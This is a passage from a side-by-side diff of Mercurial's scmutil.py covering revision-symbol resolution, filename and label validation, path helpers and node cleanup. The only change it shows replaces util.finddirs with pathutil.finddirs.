286 286 ui.error(_(b"abort: out of memory\n"))
287 287 except SystemExit as inst:
288 288 # Commands shouldn't sys.exit directly, but give a return code.
289 289 # Just in case catch this and and pass exit code to caller.
290 290 return inst.code
291 291
292 292 return -1
293 293
294 294
295 295 def checknewlabel(repo, lbl, kind):
296 296 # Do not use the "kind" parameter in ui output.
297 297 # It makes strings difficult to translate.
298 298 if lbl in [b'tip', b'.', b'null']:
299 299 raise error.Abort(_(b"the name '%s' is reserved") % lbl)
300 300 for c in (b':', b'\0', b'\n', b'\r'):
301 301 if c in lbl:
302 302 raise error.Abort(
303 303 _(b"%r cannot be used in a name") % pycompat.bytestr(c)
304 304 )
305 305 try:
306 306 int(lbl)
307 307 raise error.Abort(_(b"cannot use an integer as a name"))
308 308 except ValueError:
309 309 pass
310 310 if lbl.strip() != lbl:
311 311 raise error.Abort(_(b"leading or trailing whitespace in name %r") % lbl)
312 312
313 313
314 314 def checkfilename(f):
315 315 '''Check that the filename f is an acceptable filename for a tracked file'''
316 316 if b'\r' in f or b'\n' in f:
317 317 raise error.Abort(
318 318 _(b"'\\n' and '\\r' disallowed in filenames: %r")
319 319 % pycompat.bytestr(f)
320 320 )
321 321
322 322
323 323 def checkportable(ui, f):
324 324 '''Check if filename f is portable and warn or abort depending on config'''
325 325 checkfilename(f)
326 326 abort, warn = checkportabilityalert(ui)
327 327 if abort or warn:
328 328 msg = util.checkwinfilename(f)
329 329 if msg:
330 330 msg = b"%s: %s" % (msg, procutil.shellquote(f))
331 331 if abort:
332 332 raise error.Abort(msg)
333 333 ui.warn(_(b"warning: %s\n") % msg)
334 334
335 335
336 336 def checkportabilityalert(ui):
337 337 '''check if the user's config requests nothing, a warning, or abort for
338 338 non-portable filenames'''
339 339 val = ui.config(b'ui', b'portablefilenames')
340 340 lval = val.lower()
341 341 bval = stringutil.parsebool(val)
342 342 abort = pycompat.iswindows or lval == b'abort'
343 343 warn = bval or lval == b'warn'
344 344 if bval is None and not (warn or abort or lval == b'ignore'):
345 345 raise error.ConfigError(
346 346 _(b"ui.portablefilenames value is invalid ('%s')") % val
347 347 )
348 348 return abort, warn
349 349
350 350
351 351 class casecollisionauditor(object):
352 352 def __init__(self, ui, abort, dirstate):
353 353 self._ui = ui
354 354 self._abort = abort
355 355 allfiles = b'\0'.join(dirstate)
356 356 self._loweredfiles = set(encoding.lower(allfiles).split(b'\0'))
357 357 self._dirstate = dirstate
358 358 # The purpose of _newfiles is so that we don't complain about
359 359 # case collisions if someone were to call this object with the
360 360 # same filename twice.
361 361 self._newfiles = set()
362 362
363 363 def __call__(self, f):
364 364 if f in self._newfiles:
365 365 return
366 366 fl = encoding.lower(f)
367 367 if fl in self._loweredfiles and f not in self._dirstate:
368 368 msg = _(b'possible case-folding collision for %s') % f
369 369 if self._abort:
370 370 raise error.Abort(msg)
371 371 self._ui.warn(_(b"warning: %s\n") % msg)
372 372 self._loweredfiles.add(fl)
373 373 self._newfiles.add(f)
374 374
375 375
376 376 def filteredhash(repo, maxrev):
377 377 """build hash of filtered revisions in the current repoview.
378 378
379 379 Multiple caches perform up-to-date validation by checking that the
380 380 tiprev and tipnode stored in the cache file match the current repository.
381 381 However, this is not sufficient for validating repoviews because the set
382 382 of revisions in the view may change without the repository tiprev and
383 383 tipnode changing.
384 384
385 385 This function hashes all the revs filtered from the view and returns
386 386 that SHA-1 digest.
387 387 """
388 388 cl = repo.changelog
389 389 if not cl.filteredrevs:
390 390 return None
391 391 key = None
392 392 revs = sorted(r for r in cl.filteredrevs if r <= maxrev)
393 393 if revs:
394 394 s = hashlib.sha1()
395 395 for rev in revs:
396 396 s.update(b'%d;' % rev)
397 397 key = s.digest()
398 398 return key
399 399
400 400
401 401 def walkrepos(path, followsym=False, seen_dirs=None, recurse=False):
402 402 '''yield every hg repository under path, always recursively.
403 403 The recurse flag will only control recursion into repo working dirs'''
404 404
405 405 def errhandler(err):
406 406 if err.filename == path:
407 407 raise err
408 408
409 409 samestat = getattr(os.path, 'samestat', None)
410 410 if followsym and samestat is not None:
411 411
412 412 def adddir(dirlst, dirname):
413 413 dirstat = os.stat(dirname)
414 414 match = any(samestat(dirstat, lstdirstat) for lstdirstat in dirlst)
415 415 if not match:
416 416 dirlst.append(dirstat)
417 417 return not match
418 418
419 419 else:
420 420 followsym = False
421 421
422 422 if (seen_dirs is None) and followsym:
423 423 seen_dirs = []
424 424 adddir(seen_dirs, path)
425 425 for root, dirs, files in os.walk(path, topdown=True, onerror=errhandler):
426 426 dirs.sort()
427 427 if b'.hg' in dirs:
428 428 yield root # found a repository
429 429 qroot = os.path.join(root, b'.hg', b'patches')
430 430 if os.path.isdir(os.path.join(qroot, b'.hg')):
431 431 yield qroot # we have a patch queue repo here
432 432 if recurse:
433 433 # avoid recursing inside the .hg directory
434 434 dirs.remove(b'.hg')
435 435 else:
436 436 dirs[:] = [] # don't descend further
437 437 elif followsym:
438 438 newdirs = []
439 439 for d in dirs:
440 440 fname = os.path.join(root, d)
441 441 if adddir(seen_dirs, fname):
442 442 if os.path.islink(fname):
443 443 for hgname in walkrepos(fname, True, seen_dirs):
444 444 yield hgname
445 445 else:
446 446 newdirs.append(d)
447 447 dirs[:] = newdirs
448 448
449 449
450 450 def binnode(ctx):
451 451 """Return binary node id for a given basectx"""
452 452 node = ctx.node()
453 453 if node is None:
454 454 return wdirid
455 455 return node
456 456
457 457
458 458 def intrev(ctx):
459 459 """Return integer for a given basectx that can be used in comparison or
460 460 arithmetic operation"""
461 461 rev = ctx.rev()
462 462 if rev is None:
463 463 return wdirrev
464 464 return rev
465 465
466 466
467 467 def formatchangeid(ctx):
468 468 """Format changectx as '{rev}:{node|formatnode}', which is the default
469 469 template provided by logcmdutil.changesettemplater"""
470 470 repo = ctx.repo()
471 471 return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
472 472
473 473
474 474 def formatrevnode(ui, rev, node):
475 475 """Format given revision and node depending on the current verbosity"""
476 476 if ui.debugflag:
477 477 hexfunc = hex
478 478 else:
479 479 hexfunc = short
480 480 return b'%d:%s' % (rev, hexfunc(node))
481 481
482 482
483 483 def resolvehexnodeidprefix(repo, prefix):
484 484 if prefix.startswith(b'x') and repo.ui.configbool(
485 485 b'experimental', b'revisions.prefixhexnode'
486 486 ):
487 487 prefix = prefix[1:]
488 488 try:
489 489 # Uses unfiltered repo because it's faster when prefix is ambiguous/
490 490 # This matches the shortesthexnodeidprefix() function below.
491 491 node = repo.unfiltered().changelog._partialmatch(prefix)
492 492 except error.AmbiguousPrefixLookupError:
493 493 revset = repo.ui.config(
494 494 b'experimental', b'revisions.disambiguatewithin'
495 495 )
496 496 if revset:
497 497 # Clear config to avoid infinite recursion
498 498 configoverrides = {
499 499 (b'experimental', b'revisions.disambiguatewithin'): None
500 500 }
501 501 with repo.ui.configoverride(configoverrides):
502 502 revs = repo.anyrevs([revset], user=True)
503 503 matches = []
504 504 for rev in revs:
505 505 node = repo.changelog.node(rev)
506 506 if hex(node).startswith(prefix):
507 507 matches.append(node)
508 508 if len(matches) == 1:
509 509 return matches[0]
510 510 raise
511 511 if node is None:
512 512 return
513 513 repo.changelog.rev(node) # make sure node isn't filtered
514 514 return node
515 515
516 516
517 517 def mayberevnum(repo, prefix):
518 518 """Checks if the given prefix may be mistaken for a revision number"""
519 519 try:
520 520 i = int(prefix)
521 521 # if we are a pure int, then starting with zero will not be
522 522 # confused as a rev; or, obviously, if the int is larger
523 523 # than the value of the tip rev. We still need to disambiguate if
524 524 # prefix == '0', since that *is* a valid revnum.
525 525 if (prefix != b'0' and prefix[0:1] == b'0') or i >= len(repo):
526 526 return False
527 527 return True
528 528 except ValueError:
529 529 return False
530 530
531 531
532 532 def shortesthexnodeidprefix(repo, node, minlength=1, cache=None):
533 533 """Find the shortest unambiguous prefix that matches hexnode.
534 534
535 535 If "cache" is not None, it must be a dictionary that can be used for
536 536 caching between calls to this method.
537 537 """
538 538 # _partialmatch() of filtered changelog could take O(len(repo)) time,
539 539 # which would be unacceptably slow. so we look for hash collision in
540 540 # unfiltered space, which means some hashes may be slightly longer.
541 541
542 542 minlength = max(minlength, 1)
543 543
544 544 def disambiguate(prefix):
545 545 """Disambiguate against revnums."""
546 546 if repo.ui.configbool(b'experimental', b'revisions.prefixhexnode'):
547 547 if mayberevnum(repo, prefix):
548 548 return b'x' + prefix
549 549 else:
550 550 return prefix
551 551
552 552 hexnode = hex(node)
553 553 for length in range(len(prefix), len(hexnode) + 1):
554 554 prefix = hexnode[:length]
555 555 if not mayberevnum(repo, prefix):
556 556 return prefix
557 557
558 558 cl = repo.unfiltered().changelog
559 559 revset = repo.ui.config(b'experimental', b'revisions.disambiguatewithin')
560 560 if revset:
561 561 revs = None
562 562 if cache is not None:
563 563 revs = cache.get(b'disambiguationrevset')
564 564 if revs is None:
565 565 revs = repo.anyrevs([revset], user=True)
566 566 if cache is not None:
567 567 cache[b'disambiguationrevset'] = revs
568 568 if cl.rev(node) in revs:
569 569 hexnode = hex(node)
570 570 nodetree = None
571 571 if cache is not None:
572 572 nodetree = cache.get(b'disambiguationnodetree')
573 573 if not nodetree:
574 574 try:
575 575 nodetree = parsers.nodetree(cl.index, len(revs))
576 576 except AttributeError:
577 577 # no native nodetree
578 578 pass
579 579 else:
580 580 for r in revs:
581 581 nodetree.insert(r)
582 582 if cache is not None:
583 583 cache[b'disambiguationnodetree'] = nodetree
584 584 if nodetree is not None:
585 585 length = max(nodetree.shortest(node), minlength)
586 586 prefix = hexnode[:length]
587 587 return disambiguate(prefix)
588 588 for length in range(minlength, len(hexnode) + 1):
589 589 matches = []
590 590 prefix = hexnode[:length]
591 591 for rev in revs:
592 592 otherhexnode = repo[rev].hex()
593 593 if prefix == otherhexnode[:length]:
594 594 matches.append(otherhexnode)
595 595 if len(matches) == 1:
596 596 return disambiguate(prefix)
597 597
598 598 try:
599 599 return disambiguate(cl.shortest(node, minlength))
600 600 except error.LookupError:
601 601 raise error.RepoLookupError()
602 602
603 603
604 604 def isrevsymbol(repo, symbol):
605 605 """Checks if a symbol exists in the repo.
606 606
607 607 See revsymbol() for details. Raises error.AmbiguousPrefixLookupError if the
608 608 symbol is an ambiguous nodeid prefix.
609 609 """
610 610 try:
611 611 revsymbol(repo, symbol)
612 612 return True
613 613 except error.RepoLookupError:
614 614 return False
615 615
616 616
617 617 def revsymbol(repo, symbol):
618 618 """Returns a context given a single revision symbol (as string).
619 619
620 620 This is similar to revsingle(), but accepts only a single revision symbol,
621 621 i.e. things like ".", "tip", "1234", "deadbeef", "my-bookmark" work, but
622 622 not "max(public())".
623 623 """
624 624 if not isinstance(symbol, bytes):
625 625 msg = (
626 626 b"symbol (%s of type %s) was not a string, did you mean "
627 627 b"repo[symbol]?" % (symbol, type(symbol))
628 628 )
629 629 raise error.ProgrammingError(msg)
630 630 try:
631 631 if symbol in (b'.', b'tip', b'null'):
632 632 return repo[symbol]
633 633
634 634 try:
635 635 r = int(symbol)
636 636 if b'%d' % r != symbol:
637 637 raise ValueError
638 638 l = len(repo.changelog)
639 639 if r < 0:
640 640 r += l
641 641 if r < 0 or r >= l and r != wdirrev:
642 642 raise ValueError
643 643 return repo[r]
644 644 except error.FilteredIndexError:
645 645 raise
646 646 except (ValueError, OverflowError, IndexError):
647 647 pass
648 648
649 649 if len(symbol) == 40:
650 650 try:
651 651 node = bin(symbol)
652 652 rev = repo.changelog.rev(node)
653 653 return repo[rev]
654 654 except error.FilteredLookupError:
655 655 raise
656 656 except (TypeError, LookupError):
657 657 pass
658 658
659 659 # look up bookmarks through the name interface
660 660 try:
661 661 node = repo.names.singlenode(repo, symbol)
662 662 rev = repo.changelog.rev(node)
663 663 return repo[rev]
664 664 except KeyError:
665 665 pass
666 666
667 667 node = resolvehexnodeidprefix(repo, symbol)
668 668 if node is not None:
669 669 rev = repo.changelog.rev(node)
670 670 return repo[rev]
671 671
672 672 raise error.RepoLookupError(_(b"unknown revision '%s'") % symbol)
673 673
674 674 except error.WdirUnsupported:
675 675 return repo[None]
676 676 except (
677 677 error.FilteredIndexError,
678 678 error.FilteredLookupError,
679 679 error.FilteredRepoLookupError,
680 680 ):
681 681 raise _filterederror(repo, symbol)
682 682
683 683
684 684 def _filterederror(repo, changeid):
685 685 """build an exception to be raised about a filtered changeid
686 686
687 687 This is extracted in a function to help extensions (eg: evolve) to
688 688 experiment with various message variants."""
689 689 if repo.filtername.startswith(b'visible'):
690 690
691 691 # Check if the changeset is obsolete
692 692 unfilteredrepo = repo.unfiltered()
693 693 ctx = revsymbol(unfilteredrepo, changeid)
694 694
695 695 # If the changeset is obsolete, enrich the message with the reason
696 696 # that made this changeset not visible
697 697 if ctx.obsolete():
698 698 msg = obsutil._getfilteredreason(repo, changeid, ctx)
699 699 else:
700 700 msg = _(b"hidden revision '%s'") % changeid
701 701
702 702 hint = _(b'use --hidden to access hidden revisions')
703 703
704 704 return error.FilteredRepoLookupError(msg, hint=hint)
705 705 msg = _(b"filtered revision '%s' (not in '%s' subset)")
706 706 msg %= (changeid, repo.filtername)
707 707 return error.FilteredRepoLookupError(msg)
708 708
709 709
710 710 def revsingle(repo, revspec, default=b'.', localalias=None):
711 711 if not revspec and revspec != 0:
712 712 return repo[default]
713 713
714 714 l = revrange(repo, [revspec], localalias=localalias)
715 715 if not l:
716 716 raise error.Abort(_(b'empty revision set'))
717 717 return repo[l.last()]
718 718
719 719
720 720 def _pairspec(revspec):
721 721 tree = revsetlang.parse(revspec)
722 722 return tree and tree[0] in (
723 723 b'range',
724 724 b'rangepre',
725 725 b'rangepost',
726 726 b'rangeall',
727 727 )
728 728
729 729
730 730 def revpair(repo, revs):
731 731 if not revs:
732 732 return repo[b'.'], repo[None]
733 733
734 734 l = revrange(repo, revs)
735 735
736 736 if not l:
737 737 raise error.Abort(_(b'empty revision range'))
738 738
739 739 first = l.first()
740 740 second = l.last()
741 741
742 742 if (
743 743 first == second
744 744 and len(revs) >= 2
745 745 and not all(revrange(repo, [r]) for r in revs)
746 746 ):
747 747 raise error.Abort(_(b'empty revision on one side of range'))
748 748
749 749 # if top-level is range expression, the result must always be a pair
750 750 if first == second and len(revs) == 1 and not _pairspec(revs[0]):
751 751 return repo[first], repo[None]
752 752
753 753 return repo[first], repo[second]
754 754
755 755
756 756 def revrange(repo, specs, localalias=None):
757 757 """Execute 1 to many revsets and return the union.
758 758
759 759 This is the preferred mechanism for executing revsets using user-specified
760 760 config options, such as revset aliases.
761 761
762 762 The revsets specified by ``specs`` will be executed via a chained ``OR``
763 763 expression. If ``specs`` is empty, an empty result is returned.
764 764
765 765 ``specs`` can contain integers, in which case they are assumed to be
766 766 revision numbers.
767 767
768 768 It is assumed the revsets are already formatted. If you have arguments
769 769 that need to be expanded in the revset, call ``revsetlang.formatspec()``
770 770 and pass the result as an element of ``specs``.
771 771
772 772 Specifying a single revset is allowed.
773 773
774 774 Returns a ``revset.abstractsmartset`` which is a list-like interface over
775 775 integer revisions.
776 776 """
777 777 allspecs = []
778 778 for spec in specs:
779 779 if isinstance(spec, int):
780 780 spec = revsetlang.formatspec(b'%d', spec)
781 781 allspecs.append(spec)
782 782 return repo.anyrevs(allspecs, user=True, localalias=localalias)
783 783
784 784
785 785 def meaningfulparents(repo, ctx):
786 786 """Return list of meaningful (or all if debug) parentrevs for rev.
787 787
788 788 For merges (two non-nullrev revisions) both parents are meaningful.
789 789 Otherwise the first parent revision is considered meaningful if it
790 790 is not the preceding revision.
791 791 """
792 792 parents = ctx.parents()
793 793 if len(parents) > 1:
794 794 return parents
795 795 if repo.ui.debugflag:
796 796 return [parents[0], repo[nullrev]]
797 797 if parents[0].rev() >= intrev(ctx) - 1:
798 798 return []
799 799 return parents
800 800
801 801
802 802 def getuipathfn(repo, legacyrelativevalue=False, forcerelativevalue=None):
803 803 """Return a function that produced paths for presenting to the user.
804 804
805 805 The returned function takes a repo-relative path and produces a path
806 806 that can be presented in the UI.
807 807
808 808 Depending on the value of ui.relative-paths, either a repo-relative or
809 809 cwd-relative path will be produced.
810 810
811 811 legacyrelativevalue is the value to use if ui.relative-paths=legacy
812 812
813 813 If forcerelativevalue is not None, then that value will be used regardless
814 814 of what ui.relative-paths is set to.
815 815 """
816 816 if forcerelativevalue is not None:
817 817 relative = forcerelativevalue
818 818 else:
819 819 config = repo.ui.config(b'ui', b'relative-paths')
820 820 if config == b'legacy':
821 821 relative = legacyrelativevalue
822 822 else:
823 823 relative = stringutil.parsebool(config)
824 824 if relative is None:
825 825 raise error.ConfigError(
826 826 _(b"ui.relative-paths is not a boolean ('%s')") % config
827 827 )
828 828
829 829 if relative:
830 830 cwd = repo.getcwd()
831 831 pathto = repo.pathto
832 832 return lambda f: pathto(f, cwd)
833 833 elif repo.ui.configbool(b'ui', b'slash'):
834 834 return lambda f: f
835 835 else:
836 836 return util.localpath
837 837
838 838
839 839 def subdiruipathfn(subpath, uipathfn):
840 840 '''Create a new uipathfn that treats the file as relative to subpath.'''
841 841 return lambda f: uipathfn(posixpath.join(subpath, f))
842 842
843 843
844 844 def anypats(pats, opts):
845 845 '''Checks if any patterns, including --include and --exclude were given.
846 846
847 847 Some commands (e.g. addremove) use this condition for deciding whether to
848 848 print absolute or relative paths.
849 849 '''
850 850 return bool(pats or opts.get(b'include') or opts.get(b'exclude'))
851 851
852 852
853 853 def expandpats(pats):
854 854 '''Expand bare globs when running on windows.
855 855 On posix we assume it already has already been done by sh.'''
856 856 if not util.expandglobs:
857 857 return list(pats)
858 858 ret = []
859 859 for kindpat in pats:
860 860 kind, pat = matchmod._patsplit(kindpat, None)
861 861 if kind is None:
862 862 try:
863 863 globbed = glob.glob(pat)
864 864 except re.error:
865 865 globbed = [pat]
866 866 if globbed:
867 867 ret.extend(globbed)
868 868 continue
869 869 ret.append(kindpat)
870 870 return ret
871 871
872 872
873 873 def matchandpats(
874 874 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
875 875 ):
876 876 '''Return a matcher and the patterns that were used.
877 877 The matcher will warn about bad matches, unless an alternate badfn callback
878 878 is provided.'''
879 879 if opts is None:
880 880 opts = {}
881 881 if not globbed and default == b'relpath':
882 882 pats = expandpats(pats or [])
883 883
884 884 uipathfn = getuipathfn(ctx.repo(), legacyrelativevalue=True)
885 885
886 886 def bad(f, msg):
887 887 ctx.repo().ui.warn(b"%s: %s\n" % (uipathfn(f), msg))
888 888
889 889 if badfn is None:
890 890 badfn = bad
891 891
892 892 m = ctx.match(
893 893 pats,
894 894 opts.get(b'include'),
895 895 opts.get(b'exclude'),
896 896 default,
897 897 listsubrepos=opts.get(b'subrepos'),
898 898 badfn=badfn,
899 899 )
900 900
901 901 if m.always():
902 902 pats = []
903 903 return m, pats
904 904
905 905
906 906 def match(
907 907 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
908 908 ):
909 909 '''Return a matcher that will warn about bad matches.'''
910 910 return matchandpats(ctx, pats, opts, globbed, default, badfn=badfn)[0]
911 911
912 912
913 913 def matchall(repo):
914 914 '''Return a matcher that will efficiently match everything.'''
915 915 return matchmod.always()
916 916
917 917
918 918 def matchfiles(repo, files, badfn=None):
919 919 '''Return a matcher that will efficiently match exactly these files.'''
920 920 return matchmod.exact(files, badfn=badfn)
921 921
922 922
923 923 def parsefollowlinespattern(repo, rev, pat, msg):
924 924 """Return a file name from `pat` pattern suitable for usage in followlines
925 925 logic.
926 926 """
927 927 if not matchmod.patkind(pat):
928 928 return pathutil.canonpath(repo.root, repo.getcwd(), pat)
929 929 else:
930 930 ctx = repo[rev]
931 931 m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
932 932 files = [f for f in ctx if m(f)]
933 933 if len(files) != 1:
934 934 raise error.ParseError(msg)
935 935 return files[0]
936 936
937 937
938 938 def getorigvfs(ui, repo):
939 939 """return a vfs suitable to save 'orig' file
940 940
941 941 return None if no special directory is configured"""
942 942 origbackuppath = ui.config(b'ui', b'origbackuppath')
943 943 if not origbackuppath:
944 944 return None
945 945 return vfs.vfs(repo.wvfs.join(origbackuppath))
946 946
947 947
948 948 def backuppath(ui, repo, filepath):
949 949 '''customize where working copy backup files (.orig files) are created
950 950
951 951 Fetch user defined path from config file: [ui] origbackuppath = <path>
952 952 Fall back to default (filepath with .orig suffix) if not specified
953 953
954 954 filepath is repo-relative
955 955
956 956 Returns an absolute path
957 957 '''
958 958 origvfs = getorigvfs(ui, repo)
959 959 if origvfs is None:
960 960 return repo.wjoin(filepath + b".orig")
961 961
962 962 origbackupdir = origvfs.dirname(filepath)
963 963 if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
964 964 ui.note(_(b'creating directory: %s\n') % origvfs.join(origbackupdir))
965 965
966 966 # Remove any files that conflict with the backup file's path
967 for f in reversed(list(util.finddirs(filepath))):
967 for f in reversed(list(pathutil.finddirs(filepath))):
968 968 if origvfs.isfileorlink(f):
969 969 ui.note(_(b'removing conflicting file: %s\n') % origvfs.join(f))
970 970 origvfs.unlink(f)
971 971 break
972 972
973 973 origvfs.makedirs(origbackupdir)
974 974
975 975 if origvfs.isdir(filepath) and not origvfs.islink(filepath):
976 976 ui.note(
977 977 _(b'removing conflicting directory: %s\n') % origvfs.join(filepath)
978 978 )
979 979 origvfs.rmtree(filepath, forcibly=True)
980 980
981 981 return origvfs.join(filepath)
982 982
983 983
984 984 class _containsnode(object):
985 985 """proxy __contains__(node) to container.__contains__ which accepts revs"""
986 986
987 987 def __init__(self, repo, revcontainer):
988 988 self._torev = repo.changelog.rev
989 989 self._revcontains = revcontainer.__contains__
990 990
991 991 def __contains__(self, node):
992 992 return self._revcontains(self._torev(node))
993 993
994 994
995 995 def cleanupnodes(
996 996 repo,
997 997 replacements,
998 998 operation,
999 999 moves=None,
1000 1000 metadata=None,
1001 1001 fixphase=False,
1002 1002 targetphase=None,
1003 1003 backup=True,
1004 1004 ):
1005 1005 """do common cleanups when old nodes are replaced by new nodes
1006 1006
1007 1007 That includes writing obsmarkers or stripping nodes, and moving bookmarks.
1008 1008 (we might also want to move working directory parent in the future)
1009 1009
1010 1010 By default, bookmark moves are calculated automatically from 'replacements',
1011 1011 but 'moves' can be used to override that. Also, 'moves' may include
1012 1012 additional bookmark moves that should not have associated obsmarkers.
1013 1013
1014 1014 replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
1015 1015 have replacements. operation is a string, like "rebase".
1016 1016
1017 1017 metadata is dictionary containing metadata to be stored in obsmarker if
1018 1018 obsolescence is enabled.
1019 1019 """
1020 1020 assert fixphase or targetphase is None
1021 1021 if not replacements and not moves:
1022 1022 return
1023 1023
1024 1024 # translate mapping's other forms
1025 1025 if not util.safehasattr(replacements, b'items'):
1026 1026 replacements = {(n,): () for n in replacements}
1027 1027 else:
1028 1028 # upgrading non tuple "source" to tuple ones for BC
1029 1029 repls = {}
1030 1030 for key, value in replacements.items():
1031 1031 if not isinstance(key, tuple):
1032 1032 key = (key,)
1033 1033 repls[key] = value
1034 1034 replacements = repls
1035 1035
1036 1036 # Unfiltered repo is needed since nodes in replacements might be hidden.
1037 1037 unfi = repo.unfiltered()
1038 1038
1039 1039 # Calculate bookmark movements
1040 1040 if moves is None:
1041 1041 moves = {}
1042 1042 for oldnodes, newnodes in replacements.items():
1043 1043 for oldnode in oldnodes:
1044 1044 if oldnode in moves:
1045 1045 continue
1046 1046 if len(newnodes) > 1:
1047 1047 # usually a split, take the one with biggest rev number
1048 1048 newnode = next(unfi.set(b'max(%ln)', newnodes)).node()
1049 1049 elif len(newnodes) == 0:
1050 1050 # move bookmark backwards
1051 1051 allreplaced = []
1052 1052 for rep in replacements:
1053 1053 allreplaced.extend(rep)
1054 1054 roots = list(
1055 1055 unfi.set(b'max((::%n) - %ln)', oldnode, allreplaced)
1056 1056 )
1057 1057 if roots:
1058 1058 newnode = roots[0].node()
1059 1059 else:
1060 1060 newnode = nullid
1061 1061 else:
1062 1062 newnode = newnodes[0]
1063 1063 moves[oldnode] = newnode
1064 1064
1065 1065 allnewnodes = [n for ns in replacements.values() for n in ns]
1066 1066 toretract = {}
1067 1067 toadvance = {}
1068 1068 if fixphase:
1069 1069 precursors = {}
1070 1070 for oldnodes, newnodes in replacements.items():
1071 1071 for oldnode in oldnodes:
1072 1072 for newnode in newnodes:
1073 1073 precursors.setdefault(newnode, []).append(oldnode)
1074 1074
1075 1075 allnewnodes.sort(key=lambda n: unfi[n].rev())
1076 1076 newphases = {}
1077 1077
1078 1078 def phase(ctx):
1079 1079 return newphases.get(ctx.node(), ctx.phase())
1080 1080
1081 1081 for newnode in allnewnodes:
1082 1082 ctx = unfi[newnode]
1083 1083 parentphase = max(phase(p) for p in ctx.parents())
1084 1084 if targetphase is None:
1085 1085 oldphase = max(
1086 1086 unfi[oldnode].phase() for oldnode in precursors[newnode]
1087 1087 )
1088 1088 newphase = max(oldphase, parentphase)
1089 1089 else:
1090 1090 newphase = max(targetphase, parentphase)
1091 1091 newphases[newnode] = newphase
1092 1092 if newphase > ctx.phase():
1093 1093 toretract.setdefault(newphase, []).append(newnode)
1094 1094 elif newphase < ctx.phase():
1095 1095 toadvance.setdefault(newphase, []).append(newnode)
1096 1096
1097 1097 with repo.transaction(b'cleanup') as tr:
1098 1098 # Move bookmarks
1099 1099 bmarks = repo._bookmarks
1100 1100 bmarkchanges = []
1101 1101 for oldnode, newnode in moves.items():
1102 1102 oldbmarks = repo.nodebookmarks(oldnode)
1103 1103 if not oldbmarks:
1104 1104 continue
1105 1105 from . import bookmarks # avoid import cycle
1106 1106
1107 1107 repo.ui.debug(
1108 1108 b'moving bookmarks %r from %s to %s\n'
1109 1109 % (
1110 1110 pycompat.rapply(pycompat.maybebytestr, oldbmarks),
1111 1111 hex(oldnode),
1112 1112 hex(newnode),
1113 1113 )
1114 1114 )
1115 1115 # Delete divergent bookmarks being parents of related newnodes
1116 1116 deleterevs = repo.revs(
1117 1117 b'parents(roots(%ln & (::%n))) - parents(%n)',
1118 1118 allnewnodes,
1119 1119 newnode,
1120 1120 oldnode,
1121 1121 )
1122 1122 deletenodes = _containsnode(repo, deleterevs)
1123 1123 for name in oldbmarks:
1124 1124 bmarkchanges.append((name, newnode))
1125 1125 for b in bookmarks.divergent2delete(repo, deletenodes, name):
1126 1126 bmarkchanges.append((b, None))
1127 1127
1128 1128 if bmarkchanges:
1129 1129 bmarks.applychanges(repo, tr, bmarkchanges)
1130 1130
1131 1131 for phase, nodes in toretract.items():
1132 1132 phases.retractboundary(repo, tr, phase, nodes)
1133 1133 for phase, nodes in toadvance.items():
1134 1134 phases.advanceboundary(repo, tr, phase, nodes)
1135 1135
1136 1136 mayusearchived = repo.ui.config(b'experimental', b'cleanup-as-archived')
1137 1137 # Obsolete or strip nodes
1138 1138 if obsolete.isenabled(repo, obsolete.createmarkersopt):
1139 1139 # If a node is already obsoleted, and we want to obsolete it
1140 1140 # without a successor, skip that obssolete request since it's
1141 1141 # unnecessary. That's the "if s or not isobs(n)" check below.
1142 1142 # Also sort the node in topology order, that might be useful for
1143 1143 # some obsstore logic.
1144 1144 # NOTE: the sorting might belong to createmarkers.
1145 1145 torev = unfi.changelog.rev
1146 1146 sortfunc = lambda ns: torev(ns[0][0])
1147 1147 rels = []
1148 1148 for ns, s in sorted(replacements.items(), key=sortfunc):
1149 1149 rel = (tuple(unfi[n] for n in ns), tuple(unfi[m] for m in s))
1150 1150 rels.append(rel)
1151 1151 if rels:
1152 1152 obsolete.createmarkers(
1153 1153 repo, rels, operation=operation, metadata=metadata
1154 1154 )
1155 1155 elif phases.supportinternal(repo) and mayusearchived:
1156 1156 # this assume we do not have "unstable" nodes above the cleaned ones
1157 1157 allreplaced = set()
1158 1158 for ns in replacements.keys():
1159 1159 allreplaced.update(ns)
1160 1160 if backup:
1161 1161 from . import repair # avoid import cycle
1162 1162
1163 1163 node = min(allreplaced, key=repo.changelog.rev)
1164 1164 repair.backupbundle(
1165 1165 repo, allreplaced, allreplaced, node, operation
1166 1166 )
1167 1167 phases.retractboundary(repo, tr, phases.archived, allreplaced)
1168 1168 else:
1169 1169 from . import repair # avoid import cycle
1170 1170
1171 1171 tostrip = list(n for ns in replacements for n in ns)
1172 1172 if tostrip:
1173 1173 repair.delayedstrip(
1174 1174 repo.ui, repo, tostrip, operation, backup=backup
1175 1175 )
1176 1176
1177 1177
1178 1178 def addremove(repo, matcher, prefix, uipathfn, opts=None):
1179 1179 if opts is None:
1180 1180 opts = {}
1181 1181 m = matcher
1182 1182 dry_run = opts.get(b'dry_run')
1183 1183 try:
1184 1184 similarity = float(opts.get(b'similarity') or 0)
1185 1185 except ValueError:
1186 1186 raise error.Abort(_(b'similarity must be a number'))
1187 1187 if similarity < 0 or similarity > 100:
1188 1188 raise error.Abort(_(b'similarity must be between 0 and 100'))
1189 1189 similarity /= 100.0
1190 1190
1191 1191 ret = 0
1192 1192
1193 1193 wctx = repo[None]
1194 1194 for subpath in sorted(wctx.substate):
1195 1195 submatch = matchmod.subdirmatcher(subpath, m)
1196 1196 if opts.get(b'subrepos') or m.exact(subpath) or any(submatch.files()):
1197 1197 sub = wctx.sub(subpath)
1198 1198 subprefix = repo.wvfs.reljoin(prefix, subpath)
1199 1199 subuipathfn = subdiruipathfn(subpath, uipathfn)
1200 1200 try:
1201 1201 if sub.addremove(submatch, subprefix, subuipathfn, opts):
1202 1202 ret = 1
1203 1203 except error.LookupError:
1204 1204 repo.ui.status(
1205 1205 _(b"skipping missing subrepository: %s\n")
1206 1206 % uipathfn(subpath)
1207 1207 )
1208 1208
1209 1209 rejected = []
1210 1210
1211 1211 def badfn(f, msg):
1212 1212 if f in m.files():
1213 1213 m.bad(f, msg)
1214 1214 rejected.append(f)
1215 1215
1216 1216 badmatch = matchmod.badmatch(m, badfn)
